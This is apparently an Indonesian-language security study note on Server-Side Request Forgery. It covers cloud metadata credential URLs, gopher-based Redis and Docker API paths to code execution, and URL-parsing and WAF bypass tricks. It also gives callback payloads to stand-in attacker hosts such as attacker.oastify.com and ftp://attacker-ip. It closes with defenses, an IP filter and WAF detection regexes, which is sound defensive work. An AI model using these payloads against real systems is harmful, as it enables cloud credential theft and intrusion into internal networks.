Ringkasan

Server-Side Request Forgery (SSRF) adalah kerentanan yang memungkinkan attacker memaksa server untuk membuat request HTTP ke target internal atau eksternal yang tidak seharusnya bisa diakses. SSRF adalah salah satu kerentanan paling berbahaya di arsitektur cloud modern — bisa pivot ke internal network, baca metadata cloud (AWS/GCP/Azure), dan bahkan RCE via service interaction. Catatan ini mencakup teknik SSRF klasik, blind SSRF, bypass WAF, cloud metadata exploitation, dan defense.

Cross-link: api-security-deep-diveweb-hacking-exploitationcloud-native-security-aws-gcp-azure-deepdivewaf-reverse-proxy-deepdiveapi-protocols-deepdive


Daftar Isi


1. SSRF Attack Surface

SSRF terjadi ketika aplikasi mengambil URL dari user dan melakukan request HTTP ke URL tersebut tanpa validasi yang memadai.

Sumber Input

// URL dari parameter
GET /api/fetch?url=https://example.com
 
// URL dari request body
POST /api/proxy
{"url": "https://internal-api:8080/admin"}
 
// URL dari header
GET /api/import
X-Forwarded-Host: internal.service.local
 
// File upload URL
POST /api/import
{"file_url": "file:///etc/passwd"}
 
// Webhook URL
POST /api/webhook
{"callback": "http://169.254.169.254/latest/meta-data/"}

Target Umum SSRF

TargetPortTujuan
Cloud metadata80AWS 169.254.169.254, GCP metadata.google.internal
Internal DB3306, 5432, 6379, 27017MySQL, PostgreSQL, Redis, MongoDB
Container orchestration2375, 2376, 6443Docker API, Kubernetes API
Internal services9200, 5601, 8080Elasticsearch, Kibana, internal apps
File protocolfile:///etc/passwd, file:///proc/self/environ
Internal DNS53DNS rebinding attack

2. SSRF Classification

Basic SSRF (In-Band)

# Response langsung terlihat
curl "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"
# → Response: AWS instance metadata

Blind SSRF (Out-of-Band)

# Response tidak langsung — perlu OOB detection
curl "http://target.com/fetch?url=http://attacker.oastify.com/collaborator"
# → Cek Burp Collaborator / interactsh untuk request masuk

Semi-Blind SSRF

# Error message mengandung informasi
curl "http://target.com/fetch?url=http://internal:8080"
# → "Connection refused" vs timeout → port terbuka/tertutup

3. Blind SSRF — Out-of-Band Detection

Tools OOB

ToolURL PatternFungsi
Burp Collaborator*.oastify.com, *.burpcollaborator.netDNS + HTTP callback
interactsh*.oast.pro, *.oast.funOpen-source, self-hostable
webhook.sitewebhook.site/random-uuidHTTP callback
dnslog.cnDNS query logDNS callback
ProjectDiscovery*.oastify.com (interactsh)Integrated with nuclei

Detection Payloads

# DNS callback
?url=http://attacker.oastify.com/
?url=https://attacker.burpcollaborator.net/test
 
# HTTP callback
?url=http://[attacker-ip]:8080/collab
 
# FTP callback (bisa leak credential)
?url=ftp://attacker-ip:21/test
 
# Timing-based
?url=http://internal:3306  # MySQL port → response cepat
?url=http://internal:22    # SSH → response cepat
?url=http://internal:65535 # Random → timeout

4. Cloud Metadata Exploitation

AWS Metadata

# Classic SSRF
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
http://169.254.169.254/latest/user-data/
 
# IMDSv2 bypass — attacker perlu PUT request dulu
# Tapi beberapa konfigurasi masih IMDSv1

GCP Metadata

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Header: Metadata-Flavor: Google

Azure Metadata

http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com
# Header: Metadata: true

Alibaba Cloud

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/<role>

DigitalOcean

http://169.254.169.254/metadata/v1.json

5. SSRF → RCE via Internal Services

Redis (Port 6379)

# Redis via SSRF — bisa overwrite SSH key atau cron
# Step 1: Kirim command Redis via gopher protocol
gopher://internal-redis:6379/_FLUSHALL%0D%0A
gopher://internal-redis:6379/_SET%20cron%20...%0D%0ASAVE
 
# Atau via SSRF GET parameter dengan CRLF injection
# (jika server membypasskan CRLF ke Redis)

Docker API (Port 2375)

# Docker API tanpa auth
http://internal-docker:2375/containers/json
http://internal-docker:2375/containers/create -X POST
# Bisa create container dengan volume mount host →
# RCE via container

Kubernetes API (Port 6443)

# K8s API
http://internal-k8s:6443/api/v1/namespaces/default/pods
http://internal-k8s:6443/api/v1/namespaces/kube-system/secrets

Elasticsearch (Port 9200)

http://internal-es:9200/_cat/indices
http://internal-es:9200/_search?q=password

MinIO / S3 Compatible

http://internal-minio:9000/<bucket>/<key>
http://internal-s3:9000/webrc@

6. URL Parsing Bypass Techniques

DNS Rebinding

# Same domain → resolve ke IP berbeda setelah DNS TTL expired
# Step 1: DNS resolve ke IP legitimate
# Step 2: DNS resolve berubah ke 169.254.169.254
# Tool: 1u.ms, rbndr.us
http://7f000001.1u.ms/  # Resolve ke 127.0.0.1
http://a9fea9fe.1u.ms/   # Resolve ke 169.254.169.254

URL Parsing Confusion

# Redirect-based
http://legitimate.com@internal:8080  # userinfo@host confusion
http://legitimate.com#@internal:8080  # fragment confusion
http://legitimate.com\@internal:8080  # backslash confusion
 
# IPv6
http://[::1]:8080/  # IPv6 loopback
http://[0:0:0:0:0:ffff:169.254.169.254]/  # IPv4-mapped IPv6
 
# Decimal IP
http://2852039166/  # 169.254.169.254 in decimal
http://2130706433/  # 127.0.0.1 in decimal
http://3232235521/  # 192.168.0.1 in decimal
 
# Short URL
http://0/  # 0.0.0.0
http://0x7f000001/  # 0x7f000001 = 127.0.0.1

Protocol Smuggling

# File protocol
file:///etc/passwd
file:///proc/self/environ
file:///proc/self/fd/0  # stdin
 
# Dict protocol
dict://internal:6379/INFO  # Redis command via dict://
 
# Gopher protocol — full TCP interaction
gopher://internal:6379/_*2%0D%0A$4%0D%0AAUTH...
 
# FTP protocol
ftp://attacker-ip:21/leak
 
# SMB protocol
smb://attacker-ip/share

7. Bypass WAF & Filter

IP/URL Filter Bypass

# Redirect bypass — WAF cek URL awal, redirect ke internal
http://redirect-server.com/redirect?url=http://169.254.169.254/
 
# DNS rebinding
http://rebind-domain.com/  # resolve ke public → private
 
# IPv6 bypass
http://[::ffff:a9fe:a9fe]/  # = 169.254.169.254 in IPv6
 
# URL parsing confusion — WAF vs server beda parsing
http://127.0.0.1:80\@evil.com/admin  # WAF: evil.com, Server: 127.0.0.1
http://evil.com#@127.0.0.1/admin    # WAF: evil.com, Server: 127.0.0.1

Request Splitting

# CRLF injection via URL
http://target:8080/%0D%0A/evil-path/
# Jika server meneruskan CRLF ke backend → request splitting
 
# Newline in URL
http://target:8080/ HTTP/1.1%0D%0AHost:%20evil.com

8. Defense Strategy

DefenseEfektivitasImplementasi
Allowlist URLSangat tinggiHanya domain tertentu diizinkan
Block private IPsTinggi127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
Block metadata IPsTinggi169.254.169.254, 100.100.100.200
Disable redirectSedangHTTP redirect perlu di-follow dengan cautious
Strip sensitive charsSedangBlock file://, gopher://, dict://
DNS rebinding protectionTinggiValidasi IP resolve after redirect
Network segmentationSangat tinggiInternal services jangan expose ke web server

Implementasi Filter IP

// Block private & metadata IPs
const privateRanges = [
  { start: "10.0.0.0", end: "10.255.255.255" },
  { start: "172.16.0.0", end: "172.31.255.255" },
  { start: "192.168.0.0", end: "192.168.255.255" },
  { start: "127.0.0.0", end: "127.255.255.255" },
  { start: "169.254.0.0", end: "169.254.255.255" },
]
 
function isPrivateIP(ip) {
  const ipNum = ipToNumber(ip)
  return privateRanges.some((r) => ipNum >= ipToNumber(r.start) && ipNum <= ipToNumber(r.end))
}

9. Detection Rules untuk jarsWAF

// Rule untuk deteksi SSRF di query/body
// Src: PayloadsAllTheThings/SSRF Injection/
 
// Deteksi metadata IP
static SSRF_METADATA_IP: Lazy<Regex> = Lazy::new(|| {
    Regex::new(r#"(?i)(169\.254\.169\.254|metadata\.google\.internal|metadata\.google\.compute|100\.100\.100\.200)"#).unwrap()
});
 
// Deteksi protocol smuggling
static SSRF_PROTOCOL: Lazy<Regex> = Lazy::new(|| {
    Regex::new(r#"(?i)^(file|gopher|dict|ftp|smb)://"#).unwrap()
});
 
// Deteksi localhost bypass
static SSRF_LOCALHOST: Lazy<Regex> = Lazy::new(|| {
    Regex::new(r#"(?i)(127\.0\.0\.1|localhost|0\.0\.0\.0|0x7f000001|2130706433|\[::1\]|\[::\]|0177\.0\.0\.1)"#).unwrap()
});
 
// Deteksi URL redirect SSRF
static SSRF_REDIRECT: Lazy<Regex> = Lazy::new(|| {
    Regex::new(r#"(?i)(url\s*=|redirect\s*=|callback\s*=|webhook\s*=|fetch\s*=|proxy\s*=)"#).unwrap()
});

10. Referensi & Tools

Payload Database

Lokasi payload: /mnt/data_d/Projects/Reference/PayloadsAllTheThings/Server Side Request Forgery/

Tool SSRF

ToolFungsiLokasi
SSRFmapAuto-exploit SSRF → internal services/mnt/data_d/Projects/Reference/SSRFmap/
InteractshOOB detection callbackhttps://github.com/projectdiscovery/interactsh
1u.msDNS rebinding servicehttps://1u.ms/
rbndr.usDNS rebinding ASN-basedhttps://rbndr.us/

Cross-link vault: